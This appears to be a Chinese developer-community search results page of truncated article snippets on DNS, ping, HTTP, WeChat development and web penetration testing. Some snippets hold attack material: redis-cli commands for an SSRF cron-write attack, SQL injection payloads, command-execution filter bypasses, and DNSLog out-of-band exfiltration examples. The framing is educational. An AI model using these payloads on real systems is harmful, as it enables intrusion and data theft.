首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

域名主机名、网站名以及 URL 基础概念

DNS (Domain Name System),域名系统,万维网上作为 IP地址 与 域名 互相映射的一个分布式数据库, 可提供域名主机域名)解析服务,使得人们可以不用记录 IP 数字串而访问站点。...通过域名得到 IP 地址的过程被称为 域名解析(主机域名解析)。 一个主机域名对应多个IP地址,如何区分? 实际上一个域名在解析时,只能对应一个 IP 地址,但是为什么又说可以对应多个呢?...在 DNS 服务器中记录多个 A记录(用来记录主机名对应的 IP 地址), 每次请求域名解析时, DNS 根据负载均衡算法,计算出一个最佳的 IP 地址返回。...一个IP地址绑定多个域名,客户端如何区分? Http 以及 https 协议在请求时,需要具体的主机名(主机域名), 根据不同的主机域名, 指向不同的站点。

7K30

用 Python 进行微信公众号开发

t=resource/res_main&id=mp1445241432 正文开始 说明:最好使用公网ip主机和备案的域名进行测试,本文测试使用的阿里云主机有公网ip,域名备案遇到坑了,买了域名无法在北京阿里云上备案...所以,在填写url时我是在阿里云上用nginx做的一个web服务。...阿里云主机上的nginx主要部分配置如下: 第二步:验证消息的确来自微信服务器(即验证服务器地址的有效性): 开发者提交信息后,微信服务器将发送GET请求到填写的服务器地址url上,GET请求携带4...然后,客户端发送字符串测试功能: 手机关注公众号后,打开对话框,随意输入字符,相同内容,则表示测试成功(仅实现文本的,因为微信对于不同类型的信息,有不同的配置要求,如要接收或发送图片、音频...示例二:微信自带的图片消息收发 实现能发送或接收图片信息,则修改部分代码,其它部分不变 运行后,再回到手机微信客户端,发送笑脸图片等,测试相同的图片即成功。

3.9K41
您找到你想要的搜索结果了吗?
是的
没有找到

Ping 命令是如何工作的?

图片Ping 的工作原理下面是 Ping 命令的工作原理:当您在终端中执行 Ping 命令并指定目标主机的 IP 地址或域名时,操作系统会创建一个 ICMP 请求消息。...如果目标主机的操作系统确定要回复该消息,它将创建一个 ICMP 响应消息。ICMP 响应消息的处理过程与 ICMP 请求消息相似,但源地址和目标地址将会互换。...ICMP 响应消息沿着相同的路径返回到发起 Ping 的主机。发起 Ping 的主机接收到 ICMP 响应消息后,会计算往返时间(RTT)并显示在终端上。...总结Ping 命令是一种常用的网络诊断工具,通过发送 ICMP 请求消息来测试与目标主机之间的连接质量和延迟。...本文介绍了 Ping 命令的工作原理,包括封装和传输数据包的过程,以及如何处理 ICMP 请求和回应消息。我们还讨论了 Ping 命令的一些常见参数和应用场景。

1.3K10

用 Python 进行微信公众号开发

t=resource/res_main&id=mp1445241432 正文开始 说明:最好使用公网ip主机和备案的域名进行测试,本文测试使用的阿里云主机有公网ip,域名备案遇到坑了,买了域名无法在北京阿里云上备案...所以,在填写url时我是在阿里云上用nginx做的一个web服务。 阿里云主机上的nginx主要部分配置如下: ?...然后,客户端发送字符串测试功能: ?...手机关注公众号后,打开对话框,随意输入字符,相同内容,则表示测试成功(仅实现文本的,因为微信对于不同类型的信息,有不同的配置要求,如要接收或发送图片、音频、视频等)。...运行后,再回到手机微信客户端,发送笑脸图片等,测试相同的图片即成功。 示例三:扫描公众号内部生成的带参数的二维码 ? ? ? ? ? ? ? ? ?

3.8K60

分享一款专注于Spring框架的渗透测试工具 - SBSCAN

最大程度解决误报情况,达到同类型工具检出准确率最高,不用再人工确认是否为敏感页面最全的spring漏洞检测POC:与其东拼西凑,不如spring相关cve的poc全部给你集成到这款工具里,同类型最全无漏洞解决...: 无漏洞检测说存在,到底靠不靠谱?...fingerprint_filter 启用指纹检测,只扫描命中指纹的站点(可能有漏报,结合实际情况选择是否启用)-d, --dnslog 指定DNSLog域名...,用于检测到无漏洞时可接收被攻击主机的dns请求--help 显示帮助信息 Examples# 指定目标站点url进行扫描$ python3...dnslog域名、使用10个线程进行并发扫描并启用纯净输出$ python3 sbscan.py -f url.txt -t 4 -d 5pugcrp1.eyes.sh --quiet源码地址:https

68000

SSRF漏洞总结

判断方法: 是否有 延时 dns请求:利用我们手中的域名和dns服务器,让目标站点尝试向该域名发送请求,如果能发送请求,必然会先进行dns查询,将域名转化为ip,那么我们的dns服务器上就可以收到该...并且是“有的ssrf” 2.fsockopen() 创建一个tcp或者udp套接字,并向目标主机发送连接请求 可以用来实现发送http get请求/post请求等,因为tcp或者udp套接字,所以应用层协议的报头需要自己写...转化为短网址(短网址平台实现原理其实非常简单,就是在它的域名下提供一个路由,当你访问这个路由的时候就会向你提供的url发送get请求或者直接跳转到你提供的url) 如果curl没有开启跟随跳转选项的话,...这种短网址跳转的方式就会得不到 5.使用子域名解析:xip.io 也就说“ip地址.xip.io” 这个域名会被 dns服务器解析为“ip地址” 将ip地址转化为其他进制: 比如说:目标主机限制了...set dbfilename root redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit /var/spool/cron/ 目录下存放的是每个用户包括

1.5K20

工具的使用 | 网站指纹识别工具Whatweb的使用

目录 whatweb 一些常见的Whatweb的扫描 常规扫描 批量扫描 详细扫描 扫描强度等级控制 快速本地扫描(扫描内网的主机) 将扫描结果导出至文件内 whatweb 是kali中网站指纹识别的工具...whatweb可识别web技术,包括内容管理系统(CMS)、博客平台、统计/分析包、JavaScript库,Web服务器和嵌入式设备等。它有超过900个插件,每个插件都能识别不同的东西。...用法: weatweb 域名 · -i 指定要扫描的文件 · -v 详细显示扫描的结果 · -a 指定运行级别 常规扫描 whatweb 域名 批量扫描 我们可以通过将很多要扫描的网站域名写入文件内...# 号表示扫描时不扫描该域名 使用命令:whatweb -i /root/target.txt 详细扫描 whatweb -v 域名 扫描强度等级控制 whatweb -a 等级...域名 可以和-v参数结合使用 快速本地扫描(扫描本地主机) whatweb --no-errors -t 255 内网网段 可以和-a和-v参数结合使用 将扫描结果导入到文件内

89720

Web安全攻防(简)学习笔记

收集域名信息 收集域名信息的种类包括:子域名收集、Whois注册信息、备案信息、敏感信息收集、敏感目录探测、端口信息探测、系统服务探测、Web指纹探测、CDN排查/真实IP……等。...Linux kali信息探测以及 Nmap 初体验 ---- SQL注入简要认识 SQL注入过程知识的摘要 SQL 注入漏洞浅研究学习 SQL手工注入学习 ---- SQL注入行为剖析 UNION联合注入(...id=1 union select 1,database(),3 boolean布尔注入() 通过一些sql函数返回的布尔值进行判断枚举 [注入点] www.xx.com/?...简单而言,就是在页面无的情况下利用时间延迟的方式佐证布尔逻辑是否成立....云WAF:一种反向代理的形式工作;通过配置NS记录(域名服务器记录)或CNAME记录;使对网站的请求报文有限经过云端的WAF主机,在被云WAF主机进行严格的过滤后将安全可靠的请求报文转发给实际的WEB应用服务器

1.2K31

Web页面解析过程(浅)

当前查询的域名的另一个域名的跳转地址) PTR逆向查询记录:用于IP地址查询域名 AAAA记录:IPv6主机记录 配置DNS 域名申请成功之后首先需要做域名解析。...如想要实现去掉3W的顶级域名亦可访问网站,除了要在空间里绑定不加3W的域名外,还要解析,主机名为空。...web页面请求(Nginx) 请求过程 主机向DHCP(动态主机配置协议)服务器获取一个IP地址 浏览器确定目标域名/服务器IP DNS向浏览器返回目标域名的IP地址 浏览器接收DNS返回的IP地址并向目标发送...curl http://www.baidu.com -I #HTTP响应头部数据 ?...TRACE用于激发服务端的请求消息回路,服务器接收的请求,常用于诊断 HTTP响应状态码: 1XX:信息提示 表示消息成功接收 2XX:成功 表示服务器成功的处理了消息 200:客户端请求成功 3XX

2.1K20

ping 之后,计算机背后都做了些了什么

Ping 程序由 MikeMuuss 编写,目的是为了测试另一台主机是否可达。该程序发送一份 ICMP 请求报文给主机,并等待主机返回 ICMP 应答报文。...也就是说: 不妨让大脑牢记一下这个图: 现在来看下 ICMP 报文的格式: 但是 ICMP 请求和应答报文,又多了一些标识符和序号两个固定字段: 标识符有什么用呢?...这样即使在同一台主机上同时运行了多个 ping 程序实例,ping 程序也可以识别出返回的信息。 序号就很简单了,从 0 开始,每发送一次新的请求就加 1。...ping 的是域名,但 ping 输出的第一行包括目的主机的 IP 地址,说明在发送 ICMP 报文之前,还请求了 DNS 服务器。...它只利用 ICMP 请求和应答报文,而不用经过传输层(TCP/UDP)。

1K10

第160天:Http协议的详细总结

: 访问资源的命名机制 存放资源的主机名 资源自身的名称,由路径表示,着重强调于资源 2、URL:Uniform Resource Location,统一资源定位符 URL是Internet上用来描述信息资源的字符串...URL是URI的一种。 采用URL可以用一种统一的格式来描述各种信息资源,包括文件、服务器的地址和目录等。...URL一般由三部组成 协议 可访问该资源的主机IP地址(或带有端口号) 主机资源的具体地址(目录加文件名) URL的构成: 协议部分:协议部分为http: 域名部分:域名部分例如"www.xxxx.com...(6)TRACE 服务器收到的请求,主要用于测试或诊断。 (7)OPTIONS 这个方法可使服务器传回该资源所支持的所有HTTP请求方法。...5、HTTP响应信息: 服务器接受请求传响应信息也由四分部组成: 状态行,消息报头,空行和响应正文。

43520

Http 协议你都了解吗?

; URI 一般由三部分组成: 访问资源的命名机制 存放资源的主机名 资源自身的名称,由路径表示,着重强调于资源 ▐ 2.2 URL Uniform Resource Location,统一资源定位符...URL 是 URI 的一种。 采用 URL 可以用一种统一的格式来描述各种信息资源,包括文件、服务器的地址和目录等。...URL 一般由三部组成 协议 可访问该资源的主机IP地址(或带有端口号) 主机资源的具体地址(目录加文件名) ▐ 2.3 URL 的构成 协议部分:协议部分为 http: 域名部分:域名部分例如"www.jianshu.com...TRACE 服务器收到的请求,主要用于测试或诊断。 OPTIONS 这个方法可使服务器传回该资源所支持的所有 HTTP 请求方法。...HTTP 响应信息 ---- 服务器接受请求传响应信息也由四分部组成: 状态行,消息报头,空行和响应正文。

40310

理解DNS记录以及在渗透测试中的简单应用

第三步的时候发现shifen.com这个顶级域名域名服务器和baidu.com这个域的域名服务器是同一台主机。...DNSlog注入 在测试一些网站的时候,一些注入类的漏洞都是没有任何信息的,这个时候我们很难判断自己的payload是否执行成功,这个时候可以借助dnslog。...简单的理解就是在某些无法直接利用漏洞获得的情况下,但是目标可以发起DNS请求,这个时候可以通过这种方式把想获得的数据外带出来。 Dnslog基本原理 ?...其中红色部分的服务器是可控的,只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的信息,放到自己域名的二级或者是三级域名上去请求,就可以通过DNS解析日志来获取它们。...://ceye.io 注册好后会给每个人一个身份标识,这是构造的关键。

2.2K20

模糊测试之攻击

WeiyiGeek.参考Freebuf 我们只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的,放到自己域名的二级甚至三级域名上去请求,就可以通过DNS解析日志来获取到它们。...比如: 在 http://www.dnslog.cn/ 中申请一个域名然后,在对其子域名进行ping操作就能看到; ?...WeiyiGeek.DNSLOG 2.DNSlog服务器自己搭建 当然您也可以自建一个这样的平台直接使用BugScan团队开源的工具搭建即可,前提是您需要有自己的服务器和域名, https://github.com...,有时可能无法将长Cookie完全带出(需要进行分段) 场景四:SSRF无解决 描述:很多SSRF的漏洞类型都是无,利用DNS来查看利用: #Playload: http://10.10.107.1...url=http://php.nf9eex.dnslog.cn 场景五:XXE无解决 描述:与xml格式相关的web漏洞传比较广泛的共有 xpath注入、xml注入、soap注入、XXE四种,在进行测试的时候往往也会遇到无的情况

3K20

使用DNSLog进行盲打

因此,针对无漏洞,我们可以通过使用DNSLog来进行,DNSLog是一种机制,攻击者可以通过DNS的解析日志来读取漏洞执行的结果。...我们只需要搭建一个DNS服务器,并将要盲打或盲注的,放到自己域名的二级域名或者三级域名或者其他子域名上去请求,就可以通过DNS解析日志来获取到它们。...的二级三级四级等等子域名都会被解析到我们的上,我们就可以通过查询DNS服务器解析记录来获得命令执行的了。...目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:servernamesharenamedirectoryfilename。...MySQL数据库,通过DNSLog盲注需要用到load_file()函数,该函数不仅能加载本地文件,同时也能对URL发起请求。

2.3K20

Linux基础指令及其作用之网络操作

它通过向目标主机发送 ICMP 请求(echo request)数据包,并等待应答(echo reply),来确定目标主机是否可达以及网络的延迟情况。...bytes from sfo03s17-in-f14.1e100.net (172.217.17.142): icmp_seq=1 ttl=54 time=14.8 ms 64 bytes:从目标主机接收到的应答数据包的大小为...icmp_seq=1:这是第一个 ICMP 请求的序列号。 ttl=54:数据包的存活时间(TTL,Time to Live)为 54,表示数据包在网络中最多可以经过 54 个路由器。...其余几行 类似于上面的解释,分别显示了第 2、3、4 个 ICMP 请求的应答情况,包括数据包大小、来源、序列号、TTL 和往返时间。...4 received:共接收到 4 个 ICMP 应答数据包。 0% packet loss:没有数据包丢失,丢包率为 0%。 time 3002ms:整个测试过程持续了 3002 毫秒。

17310

模糊测试之攻击

DNSlogFuzz渗透中的使用 描述:DNSLOG是一种机制,使用者可以通过DNS解析日志来读取漏洞的; 1.DNSLOG的原理 DNS的解析是递归与迭代相结合的,当我们访问一个根域的时候DNS...WeiyiGeek.参考Freebuf 我们只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的,放到自己域名的二级甚至三级域名上去请求,就可以通过DNS解析日志来获取到它们。...比如: 在 http://www.dnslog.cn/ 中申请一个域名然后,在对其子域名进行ping操作就能看到; WeiyiGeek.DNSLOG 2.DNSlog服务器自己搭建 当然您也可以自建一个这样的平台直接使用...,有时可能无法将长Cookie完全带出(需要进行分段) 场景四:SSRF无解决 描述:很多SSRF的漏洞类型都是无,利用DNS来查看利用: #Playload: http://10.10.107.1...url=http://php.nf9eex.dnslog.cn 场景五:XXE无解决 描述:与xml格式相关的web漏洞传比较广泛的共有 xpath注入、xml注入、soap注入、XXE四种,在进行测试的时候往往也会遇到无的情况

2.3K20

超详细讲解命令执行漏洞

url=dir 22.txt exec 需要注意的一点exec要有echo才有 <?...这些特殊字符默认为空,如下: wh$1oami who$@ami whoa$*mi 花括号的用法 在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令{cat,flag} 无的命令执行...:10 +0800] "GET /root HTTP/1.1" 404 146 "-" "curl/7.58.0",这样,命令的就能在日志中看到了 读文件命令 ls|bash|tac|nl|more...|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sort|cut|xxd 无的情况下...注册个账号,注册完后会给一个域名,如果有域名解析请求会有记录;如得到的域名是test.ceye.io,当有主机访问1111. test.ceye.io时,就会记录下来这个域名解析请求;其中1111可以替换成我们需要获取的信息

5.1K31
领券